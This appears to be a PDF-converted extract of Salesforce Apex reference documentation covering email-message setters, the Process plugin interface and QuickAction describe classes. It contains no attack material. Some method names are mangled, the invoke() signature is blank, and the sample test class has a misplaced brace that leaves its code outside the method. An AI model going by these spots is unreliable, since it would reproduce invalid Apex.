
Type: Void

Usage

All emails must have a recipient value in at least one of the following fields:

• toAddresses
• ccAddresses
• bccAddresses
• targetObjectId

If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages. The following error code is returned: BCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED. Contact your Salesforce representative for information on BCC compliance.

setCcAddresses(ccAddresses)

Optional. A list of carbon copy (CC) addresses. The maximum allowed is 25. This argument is allowed only when a template is not used.

Signature

public Void setCcAddresses(String[] ccAddresses)

Parameters

ccAddresses

Type: String[]

Return Value

Type: Void
Usage

All emails must have a recipient value in at least one of the following fields:

- toAddresses
- ccAddresses
- bccAddresses
- targetObjectId

**setCharset(characterSet)**

Optional. The character set for the email. If this value is null, the user's default value is used.

**Signature**

```java
public Void setCharset(String characterSet)
```

**Parameters**

- `characterSet`
  
  Type: `String`

**Return Value**

Type: `Void`

**setDocumentAttachments(documentIds)**

(Deprecated. Use `setEntityAttachments()` instead.) Optional. A list containing the ID of each document object you want to attach to the email.

**Signature**

```java
public Void setDocumentAttachments(ID[] documentIds)
```

**Parameters**

- `documentIds`
  
  Type: `ID[]`

**Return Value**

Type: `Void`

**Usage**

You can attach multiple documents as long as the total size of all attachments does not exceed 10 MB.

**setEntityAttachments(ids)**

Optional. Array of IDs of Document or ContentVersion items to attach to the email.
**setEntityAttachments**

**Signature**

```java
public void setEntityAttachments(List<String> ids)
```

**Parameters**

- `ids`  
  Type: `List<String>`

**Return Value**

Type: void

**setFileAttachments**

**Signature**

```java
public Void setFileAttachments(EmailFileAttachment[] fileNames)
```

**Parameters**

- `fileNames`  
  Type: `Messaging.EmailFileAttachment[]`

**Return Value**

Type: Void

**Usage**

You can attach multiple files as long as the total size of all attachments does not exceed 10 MB.

**setHtmlBody**

**Signature**

```java
public Void setHtmlBody(String htmlBody)
```

**Parameters**

- `htmlBody`  
  Type: `String`
**Return Value**
Type: Void

**setInReplyTo(parentMessageIds)**
Sets the optional In-Reply-To field of the outgoing email. This field identifies the email or emails to which this email is a reply (parent emails).

**Signature**
```java
public Void setInReplyTo(String parentMessageIds)
```

**Parameters**

parentMessageIds
Type: String
Contains one or more parent email message IDs.

**Return Value**
Type: Void

**setOptOutPolicy(emailOptOutPolicy)**
Optional. If you added recipients by ID instead of email address and the Email Opt Out option is set, this method determines the behavior of the `sendEmail()` call. If you add recipients by their email addresses, the opt-out settings for those recipients aren’t checked and those recipients always receive the email.

**Signature**
```java
public void setOptOutPolicy(String emailOptOutPolicy)
```

**Parameters**

emailOptOutPolicy
Type: String
Possible values of the `emailOptOutPolicy` parameter are:
- **SEND** (default)—The email is sent to all recipients and the Email Opt Out option of the recipients is ignored.
- **FILTER**—No email is sent to the recipients that have the Email Opt Out option set and emails are sent to the other recipients.
- **REJECT**—If any of the recipients have the Email Opt Out option set, `sendEmail()` throws an error and no email is sent.

**Return Value**
Type: void
Example
This example shows how to send an email with the opt-out setting enforced. Recipients are specified by their IDs. The FILTER option causes the email to be sent only to recipients that haven’t opted out from email. This example uses dot notation of the email properties, which is equivalent to using the set methods.

```java
Messaging.SingleEmailMessage message = new Messaging.SingleEmailMessage();
// Set recipients to two contact IDs.
// Replace IDs with valid record IDs in your org.
message.toAddresses = new String[] { '003D000000QDexS', '003D000000QDfW5' };
message.optOutPolicy = 'FILTER';
message.subject = 'Opt Out Test Message';
message.plainTextBody = 'This is the message body.';
Messaging.SingleEmailMessage[] messages =
    new List<Messaging.SingleEmailMessage> {message};
Messaging.SendEmailResult[] results = Messaging.sendEmail(messages);
if (results[0].success) {
    System.debug('The email was sent successfully.');
} else {
    System.debug('The email failed to send: ' + results[0].errors[0].message);
}
```

**setPlainTextBody(plainTextBody)**
Optional. The text version of the email, specified by the sender. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

**Signature**

```java
public Void setPlainTextBody(String plainTextBody)
```

**Parameters**

**plainTextBody**

Type: String

**Return Value**

Type: Void

**setOrgWideEmailAddressId(emailAddressId)**
Optional. The ID of the organization-wide email address associated with the outgoing email. The object’s DisplayName field cannot be set if the setSenderDisplayName field is already set.

**Signature**

```java
public Void setOrgWideEmailAddressId(ID emailAddressId)
```
Parameters

`emailAddressId`
Type: ID

Return Value
Type: Void

`setReferences(references)`
Optional. The References field of the outgoing email. Identifies an email thread. Contains the parent emails’ References and message IDs, and possibly the In-Reply-To fields.

Signature
`public Void setReferences(String references)`

Parameters
`references`
Type: String

Return Value
Type: Void

`setSubject(subject)`
Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value.

Signature
`public Void setSubject(String subject)`

Parameters
`subject`
Type: String

Return Value
Type: Void

`setTargetObjectId(targetObjectId)`
Required if using a template, optional otherwise. The ID of the contact, lead, or user to which the email will be sent. The ID you specify sets the context and ensures that merge fields in the template contain the correct data.
Signature
public Void setTargetObjectId(ID targetObjectId)

Parameters
targetObjectId
  Type: ID

Return Value
Type: Void

Usage
Do not specify the IDs of records that have the Email Opt Out option selected. All emails must have a recipient value in at least one of the following fields:
  • toAddresses
  • ccAddresses
  • bccAddresses
  • targetObjectId

setToAddresses (toAddresses)
Optional. A list of email addresses to which you are sending the email. The maximum number of email addresses allowed is 100. This argument is allowed only when a template is not used.

Signature
public Void setToAddresses(String[] toAddresses)

Parameters
toAddresses
  Type: String[]

Return Value
Type: Void

Usage
All emails must have a recipient value in at least one of the following fields:
  • toAddresses
  • ccAddresses
  • bccAddresses
  • targetObjectId
setTreatBodiesAsTemplate(treatAsTemplate)
Optional. If set to true, the subject, plain text, and HTML text bodies of the email are treated as template data.

Signature

public void setTreatBodiesAsTemplate(Boolean treatAsTemplate)

Parameters

treatAsTemplate
Type: Boolean

Return Value
Type: void

setTreatTargetObjectAsRecipient(treatAsRecipient)
Optional. If set to true, the targetObjectId (a contact, lead, or user) is the recipient of the email. If set to false, the targetObjectId is supplied as the WhoId field for template rendering but isn't a recipient of the email. The default is true.

Signature

public void setTreatTargetObjectAsRecipient(Boolean treatAsRecipient)

Parameters

treatAsRecipient
Type: Boolean

Return Value
Type: void

setWhatId(whatId)
If you specify a contact for the targetObjectId field, you can specify an optional whatId as well. This helps to further ensure that merge fields in the template contain the correct data.

Signature

public Void setWhatId(ID whatId)

Parameters

whatId
Type: ID
Return Value
Type: Void

Usage
The value must be one of the following types:
- Account
- Asset
- Campaign
- Case
- Contract
- Opportunity
- Order
- Product
- Solution
- Custom

Process Namespace
The Process namespace provides an interface and classes for passing data between your organization and a flow.
The following are the interfaces and classes in the Process namespace.

IN THIS SECTION:
- Plugin Interface
  Allows you to pass data between your organization and a specified flow.
- PluginDescribeResult Class
  Describes the input and output parameters for Process.PluginResult.
- PluginDescribeResult.InputParameter Class
  Describes the input parameter for Process.PluginResult.
- PluginDescribeResult.OutputParameter Class
  Describes the output parameter for Process.PluginResult.
- PluginRequest Class
  Passes input parameters from the class that implements the Process.Plugin interface to the flow.
- PluginResult Class
  Returns output parameters from the class that implements the Process.Plugin interface to the flow.

Plugin Interface
Allows you to pass data between your organization and a specified flow.
Tip: We recommend using the `@InvocableMethod` annotation instead of the `Process.Plugin` interface.

- The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

### Namespace

**Process**

**IN THIS SECTION:**

- Plugin Methods
- Plugin Example Implementation

### Plugin Methods

The following are instance methods for `Plugin`.

**IN THIS SECTION:**

- `describe()`
  - Returns a `Process.PluginDescribeResult` object that describes this method call.
- `invoke(request)`
  - Primary method that the system invokes when the class that implements the interface is instantiated.

#### `describe()`

Returns a `Process.PluginDescribeResult` object that describes this method call.

**Signature**

```java
public Process.PluginDescribeResult describe()
```

**Return Value**

Type: `Process.PluginDescribeResult`

#### `invoke(request)`

Primary method that the system invokes when the class that implements the interface is instantiated.

**Signature**

```java
```
Parameters

request
Type: Process.PluginRequest

Return Value
Type: Process.PluginResult

Plugin Example Implementation

global class flowChat implements Process.Plugin {

    // The main method to be implemented. The Flow calls this at run time.
    global Process.PluginResult invoke(Process.PluginRequest request) {
        // Get the subject of the Chatter post from the flow
        String subject = (String) request.inputParameters.get('subject');

        // Use the Chatter APIs to post it to the current user's feed
        FeedItem fItem = new FeedItem();
        fItem.ParentId = UserInfo.getUserId();
        fItem.Body = 'Force.com flow Update: ' + subject;
        insert fItem;

        // return to Flow
        Map<String, Object> result = new Map<String, Object>();
        return new Process.PluginResult(result);
    }

    // Returns the describe information for the interface
    global Process.PluginDescribeResult describe() {
        Process.PluginDescribeResult result = new Process.PluginDescribeResult();
        result.Name = 'flowchatplugin';
        result.Tag = 'chat';
        result.inputParameters = new
        List<Process.PluginDescribeResult.InputParameter>{
        new Process.PluginDescribeResult.InputParameter('subject',
            Process.PluginDescribeResult.ParameterType.STRING, true)
        };
        result.outputParameters = new
        List<Process.PluginDescribeResult.OutputParameter>{ };
        return result;
    }
}

Test Class
The following is a test class for the above class.

@isTest
private class flowChatTest {

    static testmethod void flowChatTests() {

}
flowChat plugin = new flowChat();
Map<String,Object> inputParams = new Map<String,Object>();

string feedSubject = 'Flow is alive';
InputParams.put('subject', feedSubject);

Process.PluginRequest request = new Process.PluginRequest(inputParams);

plugin.invoke(request);

PluginDescribeResult Class

Describes the input and output parameters for Process.PluginResult.

Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.

- The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

Namespace

Process

IN THIS SECTION:

- PluginDescribeResult Constructors
- PluginDescribeResult Properties

PluginDescribeResult Constructors

The following are constructors for PluginDescribeResult.

IN THIS SECTION:

- PluginDescribeResult()
  Creates a new instance of the Process.PluginDescribeResult class.

PluginDescribeResult()

Creates a new instance of the Process.PluginDescribeResult class.
PluginDescribeResult Class

Signature

public PluginDescribeResult()

PluginDescribeResult Properties

The following are properties for PluginDescribeResult.

IN THIS SECTION:

description

This optional field describes the purpose of the plug-in.

inputParameters

The input parameters passed by the Process.PluginRequest class from a flow to the class that implements the Process.Plugin interface.

name

Unique name of the plug-in.

outputParameters

The output parameters passed by the Process.PluginResult class from the class that implements the Process.Plugin interface to the flow.

tag

With this optional field, you can group plug-ins by tag name so they appear together in the Apex plug-in section of the Palette within the Flow Designer. This is helpful if you have multiple plug-ins in your flow.

description

This optional field describes the purpose of the plug-in.

Signature

public String description {get; set;}

Property Value

Type: String

Usage

Size limit: 255 characters.

inputParameters

The input parameters passed by the Process.PluginRequest class from a flow to the class that implements the Process.Plugin interface.

Signature

public List<Process.PluginDescribeResult.InputParameter> inputParameters {get; set;}

Property Value
Type: List<Process.PluginDescribeResult.InputParameter>

name
Unique name of the plug-in.

Signature
public String name {get; set;}

Property Value
Type: String

Usage
Size limit: 40 characters.

outputParameters
The output parameters passed by the Process.PluginResult class from the class that implements the Process.Plugin interface to the flow.

Signature
public List<Process.PluginDescribeResult.OutputParameter> outputParameters {get; set;}

Property Value
Type: List<Process.PluginDescribeResult.OutputParameter>

tag
With this optional field, you can group plug-ins by tag name so they appear together in the Apex plug-in section of the Palette within the Flow Designer. This is helpful if you have multiple plug-ins in your flow.

Signature
public String tag {get; set;}

Property Value
Type: String

Usage
Size limit: 40 characters.
PluginDescribeResult.InputParameter Class

Describes the input parameter for Process.PluginResult.

Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.

- The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

Process

IN THIS SECTION:

PluginDescribeResult.InputParameter Constructors

PluginDescribeResult.InputParameter Properties

PluginDescribeResult.InputParameter Constructors

The following are constructors for PluginDescribeResult.InputParameter.

IN THIS SECTION:

PluginDescribeResult.InputParameter(name, description, parameterType, required)

Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name, description, parameter type, and required option.

PluginDescribeResult.InputParameter(name, parameterType, required)

Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name, parameter type, and required option.

PluginDescribeResult.InputParameter(name, description, parameterType, required)

Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name, description, parameter type, and required option.

Signature

public PluginDescribeResult.InputParameter(String name, String description, Process.PluginDescribeResult.ParameterType parameterType, Boolean required)

Parameters

name
Type: String
Unique name of the plug-in.
**description**
Type: `String`  
Describes the purpose of the plug-in.

**parameterType**
Type: `Process.PluginDescribeResult.ParameterType`  
The data type of the input parameter.

**required**
Type: `Boolean`  
Set to `true` for required and `false` otherwise.

**PluginDescribeResult.InputParameter(name, parameterType, required)**
Creates a new instance of the `Process.PluginDescribeResult.InputParameter` class using the specified name, parameter type, and required option.

**Signature**
```java
public PluginDescribeResult.InputParameter(String name,
 Process.PluginDescribeResult.ParameterType parameterType, Boolean required)
```

**Parameters**

**name**
Type: `String`  
Unique name of the plug-in.

**parameterType**
Type: `Process.PluginDescribeResult.ParameterType`  
The data type of the input parameter.

**required**
Type: `Boolean`  
Set to `true` for required and `false` otherwise.

**PluginDescribeResult.InputParameter Properties**
The following are properties for `PluginDescribeResult.InputParameter`.

**IN THIS SECTION:**

- **Description**
  This optional field describes the purpose of the plug-in.

- **Name**
  Unique name of the plug-in.

- **ParameterType**
  The data type of the input parameter.
Description
This optional field describes the purpose of the plug-in.

Signature
```
public String Description {get; set;}
```

Property Value
Type: String

Usage
Size limit: 255 characters.

Name
Unique name of the plug-in.

Signature
```
public String Name {get; set;}
```

Property Value
Type: String

Usage
Size limit: 40 characters.

ParameterType
The data type of the input parameter.

Signature
```
public Process.PluginDescribeResult.ParameterType ParameterType {get; set;}
```

Property Value
Type: Process.PluginDescribeResult.ParameterType

Required
Set to true for required and false otherwise.
Signature

public Boolean Required {get; set;}

Property Value

Type: Boolean

PluginDescribeResult.OutputParameter Class

Describes the output parameter for Process.PluginResult.

Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.

- The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

Namespace

Process

PluginDescribeResult.OutputParameter Constructors

PluginDescribeResult.OutputParameter Properties

PluginDescribeResult.OutputParameter Constructors

The following are constructors for PluginDescribeResult.OutputParameter.

IN THIS SECTION:

PluginDescribeResult.OutputParameter(name, description, parameterType)

Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name, description, and parameter type.

PluginDescribeResult.OutputParameter(name, parameterType)

Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name, description, and parameter type.

PluginDescribeResult.OutputParameter(name, description, parameterType)

Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name, description, and parameter type.
Signature

public PluginDescribeResult.OutputParameter(String name, String description, Process.PluginDescribeResult.ParameterType parameterType)

Parameters

name
Type: String
Unique name of the plug-in.

description
Type: String
Describes the purpose of the plug-in.

parameterType
Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.

PluginDescribeResult.OutputParameter(name, parameterType)

Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name, description, and parameter type.

Signature

public PluginDescribeResult.OutputParameter(String name, Process.PluginDescribeResult.ParameterType parameterType)

Parameters

name
Type: String
Unique name of the plug-in.

parameterType
Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.

PluginDescribeResult.OutputParameter Properties

The following are properties for PluginDescribeResult.OutputParameter.

IN THIS SECTION:

Description
This optional field describes the purpose of the plug-in.

Name
Unique name of the plug-in.
**ParameterType**
The data type of the input parameter.

**Description**
This optional field describes the purpose of the plug-in.

**Signature**
```csharp
public String Description {get; set;}
```

**Property Value**
Type: String

**Usage**
Size limit: 255 characters.

**Name**
Unique name of the plug-in.

**Signature**
```csharp
public String Name {get; set;}
```

**Property Value**
Type: String

**Usage**
Size limit: 40 characters.

**ParameterType**
The data type of the input parameter.

**Signature**
```csharp
public Process.PluginDescribeResult.ParameterType ParameterType {get; set;}
```

**Property Value**
Type: Process.PluginDescribeResult.ParameterType

**PluginRequest Class**
Passes input parameters from the class that implements the Process.Plugin interface to the flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.

- The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

Namespace

Process

PluginRequest Properties

The following are properties for PluginRequest.

IN THIS SECTION:

inputParameters

Input parameters that are passed from the class that implements the Process.Plugin interface to the flow.

inputParameters

Input parameters that are passed from the class that implements the Process.Plugin interface to the flow.

Signature

public MAP<String,ANY> inputParameters {get; set;}

Property Value

Type: Map<String, Object>

PluginResult Class

Returns output parameters from the class that implements the Process.Plugin interface to the flow.

Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.

- The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

Namespace

Process
PluginResult Properties

The following are properties for PluginResult.

IN THIS SECTION:

outputParameters
Output parameters returned from the class that implements the interface to the flow.

outputParameters
Output parameters returned from the class that implements the interface to the flow.

Signature

public MAP<String, ANY> outputParameters {get; set;}

Property Value

Type: Map<String, Object>

QuickAction Namespace

The QuickAction namespace provides classes and methods for quick actions.
The following are the classes in the QuickAction namespace.

IN THIS SECTION:

DescribeAvailableQuickActionResult Class
Contains describe metadata information for a quick action that is available for a specified parent.

DescribeLayoutComponent Class
Represents the smallest unit in a layout—a field or a separator.

DescribeLayoutItem Class
Represents an individual item in a QuickAction.DescribeLayoutRow.

DescribeLayoutRow Class
Represents a row in a QuickAction.DescribeLayoutSection.

DescribeLayoutSection Class
Represents a section of a layout and consists of one or more columns and one or more rows (an array of 
QuickAction.DescribeLayoutRow).

DescribeQuickActionDefaultValue Class
Returns a default value for a quick action.

DescribeQuickActionResult Class
Contains describe metadata information for a quick action.

QuickActionDefaults Class
Represents an abstract Apex class that provides the context for running the standard Email Action on Case Feed and the container of the Email Message fields for the action payload. You can override the target fields before the standard Email Action is rendered.
QuickActionDefaultsHandler Interface
The QuickAction.QuickActionDefaultsHandler interface lets you specify the default values for the standard Email Action on Case Feed. You can use this interface to specify the From address, CC address, BCC address, subject, and email body for the Email Action in Case Feed. You can use the interface to pre-populate these fields based on the context where the action is displayed, such as the case origin (for example, country) and subject.

QuickActionRequest Class
Use the QuickAction.QuickActionRequest class for providing action information for quick actions to be performed by QuickAction class methods. Action information includes the action name, context record ID, and record.

QuickActionResult Class
After you initiate a quick action with the QuickAction class, use the QuickActionResult class for processing action results.

SendEmailQuickActionDefaults Class
Represents an Apex class that provides: the From address list; the original email’s email message ID, provided that the reply action was invoked on the email message feed item; and methods to specify related settings on templates. You can override these fields before the standard Email Action is rendered.

DescribeAvailableQuickActionResult Class
Contains describe metadata information for a quick action that is available for a specified parent.

Namespace
QuickAction

Usage
The QuickAction describeAvailableQuickActions method returns an array of available quick action describe result objects (QuickAction.DescribeAvailableQuickActionResult).

DescribeAvailableQuickActionResult Methods
The following are methods for DescribeAvailableQuickActionResult. All are instance methods.

IN THIS SECTION:

getActionEnumOrId()
Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.

getLabel()
The quick action label.

getName()
The quick action name.

getType()
The quick action type.
describeLayoutComponent Class

Represents the smallest unit in a layout—a field or a separator.

getActionEnumOrId()
Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.

Signature
public String getActionEnumOrId()

Return Value
Type: String

getLabel()
The quick action label.

Signature
public String getLabel()

Return Value
Type: String

getName()
The quick action name.

Signature
public String getName()

Return Value
Type: String

getType()
The quick action type.

Signature
public String getType()

Return Value
Type: String
Namespace
QuickAction

DescribeLayoutComponent Methods
The following are methods for DescribeLayoutComponent. All are instance methods.

IN THIS SECTION:
- getDisplayLines()
  - Returns the vertical lines displayed for a field. Applies to textarea and multi-select picklist fields.
- getTabOrder()
  - Returns the tab order for the item in the row.
- getType()
  - Returns the name of the QuickAction.DescribeLayoutComponent type for this component.
- getValue()
  - Returns the name of the field if the type for QuickAction.DescribeLayoutComponent is textarea.

gDisplayLines()
Returns the vertical lines displayed for a field. Applies to textarea and multi-select picklist fields.

Signature
public Integer getDisplayLines()

Return Value
Type: Integer

gTabOrder()
Returns the tab order for the item in the row.

Signature
public Integer getTabOrder()

Return Value
Type: Integer

gType()
Returns the name of the QuickAction.DescribeLayoutComponent type for this component.
**Signature**

`public String getType()`

**Return Value**

Type: `String`

**getValue()**

Returns the name of the field if the type for `QuickAction.DescribeLayoutComponent` is `textarea`.

**Signature**

`public String getValue()`

**Return Value**

Type: `String`

**DescribeLayoutItem Class**

Represents an individual item in a `QuickAction.DescribeLayoutRow`.

**Namespace**

`QuickAction`

**Usage**

For most fields on a layout, there is only one component per layout item. However, in a display-only view, the `QuickAction.DescribeLayoutItem` might be a composite of the individual fields (for example, an address can consist of street, city, state, country, and postal code data). On the corresponding edit view, each component of the address field would be split up into separate `QuickAction.DescribeLayoutComponents`.

**DescribeLayoutItem Methods**

The following are methods for `DescribeLayoutItem`. All are instance methods.

IN THIS SECTION:

- `getLabel()`
  Returns the label text for this item.
- `getLayoutComponents()`
  Returns a list of `QuickAction.DescribeLayoutComponents` for this item.
- `isEditable()`
  Indicates whether this item can be edited (`true`) or not (`false`).
isPlaceholder()
Indicates whether this item is a placeholder (true) or not (false). If true, then this item is blank.

isRequired()
Indicates whether this item is required (true) or not (false).

getLabel()
Returns the label text for this item.

Signature
public String getLabel()

Return Value
Type: String

getLayoutComponents()
Returns a list of QuickAction.DescribeLayoutComponents for this item.

Signature
public List<QuickAction.DescribeLayoutComponent> getLayoutComponents()

Return Value
Type: List<QuickAction.DescribeLayoutComponent>

isEditable()
Indicates whether this item can be edited (true) or not (false).

Signature
public Boolean isEditable()

Return Value
Type: Boolean

isPlaceholder()
Indicates whether this item is a placeholder (true) or not (false). If true, then this item is blank.

Signature
public Boolean isPlaceholder()
Return Value
Type: Boolean

isRequired()
Indicates whether this item is required (true) or not (false).

Signature
public Boolean isRequired()

Return Value
Type: Boolean

Usage
This is useful if, for example, you want to render required fields in a contrasting color.

DescribeLayoutRow Class
Represents a row in a QuickAction.DescribeLayoutSection.

Namespace
QuickAction

Usage
A QuickAction.DescribeLayoutRow consists of one or more QuickAction.DescribeLayoutItem objects. For each QuickAction.DescribeLayoutRow, a QuickAction.DescribeLayoutItem refers either to a specific field or to an "empty" QuickAction.DescribeLayoutItem (one that contains no QuickAction.DescribeLayoutComponent objects). An empty QuickAction.DescribeLayoutItem can be returned when a given QuickAction.DescribeLayoutRow is sparse (for example, containing more fields on the right column than on the left column).

DescribeLayoutRow Methods
The following are methods for DescribeLayoutRow. All are instance methods.

IN THIS SECTION:
getLayoutItems()  
Returns either a specific field or an empty QuickAction.DescribeLayoutItem (one that contains no QuickAction.DescribeLayoutComponent objects).
getNumItems()  
Returns the number of QuickAction.DescribeLayoutItem.
**getLayoutItems()**

Returns either a specific field or an empty QuickAction.DescribeLayoutItem (one that contains no QuickAction.DescribeLayoutComponent objects).

**Signature**

```java
public List<QuickAction.DescribeLayoutItem> getLayoutItems()
```

**Return Value**

Type: `List<QuickAction.DescribeLayoutItem>`

**getNumItems()**

Returns the number of QuickAction.DescribeLayoutItem.

**Signature**

```java
public Integer getNumItems()
```

**Return Value**

Type: `Integer`

**DescribeLayoutSection Class**

Represents a section of a layout and consists of one or more columns and one or more rows (an array of QuickAction.DescribeLayoutRow).

**Namespace**

QuickAction

**DescribeLayoutSection Methods**

The following are methods for DescribeLayoutSection.

**IN THIS SECTION:**

- `getColumns()`
  Returns the number of columns in the QuickAction.DescribeLayoutSection.
- `getHeading()`
  The heading text (label) for the QuickAction.DescribeLayoutSection.
- `getLayoutRows()`
  Returns an array of one or more QuickAction.DescribeLayoutRow objects.
- `getParentLayoutId()`
  Returns the ID of the layout upon which this DescribeLayoutSection resides.
**getRows()**
Returns the number of rows in the `QuickAction.DescribeLayoutSection`.

**isUseCollapsibleSection()**
Indicates whether the `QuickAction.DescribeLayoutSection` is a collapsible section (`true`) or not (`false`).

**isUseHeading()**
Indicates whether to use the heading (`true`) or not (`false`).

**getColumns()**
Returns the number of columns in the `QuickAction.DescribeLayoutSection`.

**Signature**
```
public Integer getColumns()
```

**Return Value**
Type: `Integer`

**getHeading()**
The heading text (label) for the `QuickAction.DescribeLayoutSection`.

**Signature**
```
public String getHeading()
```

**Return Value**
Type: `String`

**getLayoutRows()**
Returns an array of one or more `QuickAction.DescribeLayoutRow` objects.

**Signature**
```
public List<QuickAction.DescribeLayoutRow> getLayoutRows()
```

**Return Value**
Type: `List<QuickAction.DescribeLayoutRow>`

**getParentLayoutId()**
Returns the ID of the layout upon which this `DescribeLayoutSection` resides.
### Signature
```java
public Id getParentLayoutId()
```

**Return Value**
Type: Id

---

### getRows()
Returns the number of rows in the QuickAction.DescribeLayoutSection.

**Signature**
```java
public Integer getRows()
```

**Return Value**
Type: Integer

---

### isUseCollapsibleSection()
Indicates whether the QuickAction.DescribeLayoutSection is a collapsible section (true) or not (false).

**Signature**
```java
public Boolean isUseCollapsibleSection()
```

**Return Value**
Type: Boolean

---

### isUseHeading()
Indicates whether to use the heading (true) or not (false).

**Signature**
```java
public Boolean isUseHeading()
```

**Return Value**
Type: Boolean

---

# DescribeQuickActionDefaultValue Class
Returns a default value for a quick action.

**Namespace**
QuickAction
Usage
Represents the default values of fields to use in default layouts.

DescribeQuickActionDefaultValue Methods
The following are methods for DescribeQuickActionDefaultValue. All are instance methods.

IN THIS SECTION:
  getDefaultValue()
  Returns the default value of the quick action.
  getField()
  Returns the field name of the action.

getDefaultValue()
Returns the default value of the quick action.

Signature
public String getDefaultValue()

Return Value
Type: String

getField()
Returns the field name of the action.

Signature
public String getField()

Return Value
Type: String

DescribeQuickActionResult Class
Contains describe metadata information for a quick action.

Namespace
QuickAction
Usage
The QuickAction describeQuickActions method returns an array of quick action describe result objects (QuickAction.DescribeQuickActionResult).

DescribeQuickActionResult Methods
The following are methods for DescribeQuickActionResult. All are instance methods.

IN THIS SECTION:
- `getActionEnumOrId()`
  Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.
- `getCanvasApplicationName()`
  Returns the name of the Canvas application, if used.
- `getDefaultValues()`
  Returns the default values for a action.
- `getHeight()`
  Returns the height in pixels of the action pane.
- `getIconName()`
  Returns the actions’ icon name.
- `getIconUrl()`
  Returns the URL of the 32x32 icon used for the action.
- `getIcons()`
  Returns a list of Schema.DescribeIconResult objects that describe colors used in a tab.
- `getLabel()`
  Returns the action label.
- `getLayout()`
  Returns the layout sections that comprise an action.
- `getMiniIconUrl()`
  Returns the 16x16 icon URL.
- `getName()`
  Returns the action name.
- `getSourceSobjectType()`
  Returns the object type used for the action.
- `getTargetParentField()`
  Returns the parent object’s type for the action.
- `getTargetRecordTypeId()`
  Returns the record type of the targeted record.
- `getTargetSobjectType()`
  Returns the action’s target object type.
- `getType()`
  Returns a create or custom Visualforce action.
getVisualforcePageName()
If Visualforce is used, returns the name of the associated page for the action.

getWidth()
If a custom action is created, returns the width in pixels of the action pane.

getActionEnumOrId()
Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.

Signature
public String getActionEnumOrId()

Return Value
Type: String

getCanvasApplicationName()
Returns the name of the Canvas application, if used.

Syntax
public String getCanvasApplicationName()

Return Value
Type: String

defaultValues()
Returns the default values for a action.

Signature
public List<QuickAction.DescribeQuickActionDefaultValue> getDefaultValues()

Return Value
Type: List<QuickAction.DescribeQuickActionDefaultValue>

getHeight()
Returns the height in pixels of the action pane.

Signature
public Integer getHeight()
Return Value
Type: Integer

getIconName()  
Returns the actions’ icon name.

Signature  
public String getIconName()  

Return Value
Type: String

getIconUrl()  
Returns the URL of the 32x32 icon used for the action.

Signature  
public String getIconUrl()  

Return Value
Type: String

getIcons()  
Returns a list of Schema.DescribeIconResult objects that describe colors used in a tab.

Signature  
public List<Schema.DescribeIconResult> getIcons()  

Return Value
Type: List<Schema.DescribeIconResult>

getLabel()  
Returns the action label.

Signature  
public String getLabel()  

Return Value
Type: String
getLayout()
Returns the layout sections that comprise an action.

Signature
public QuickAction.DescribeLayoutSection getLayout()

Return Value
Type: QuickAction.DescribeLayoutSection

getMiniIconUrl()
Returns the 16x16 icon URL.

Signature
public String getMiniIconUrl()

Return Value
Type: String

getName()
Returns the action name.

Signature
public String getName()

Return Value
Type: String

ggetSourceSobjectType()
Returns the object type used for the action.

Signature
public String getSourceSobjectType()

Return Value
Type: String

gTargetParentField()
Returns the parent object’s type for the action.
Signature
public String getTargetParentField()

Return Value
Type: String

getTargetRecordTypeId()
Returns the record type of the targeted record.

Signature
public String getTargetRecordTypeId()

Return Value
Type: String

getTargetSobjectType()
Returns the action’s target object type.

Signature
public String getTargetSobjectType()

Return Value
Type: String

getType()
Returns a create or custom Visualforce action.

Signature
public String getType()

Return Value
Type: String

getVisualforcePageName()
If Visualforce is used, returns the name of the associated page for the action.

Signature
public String getVisualforcePageName()
**Return Value**
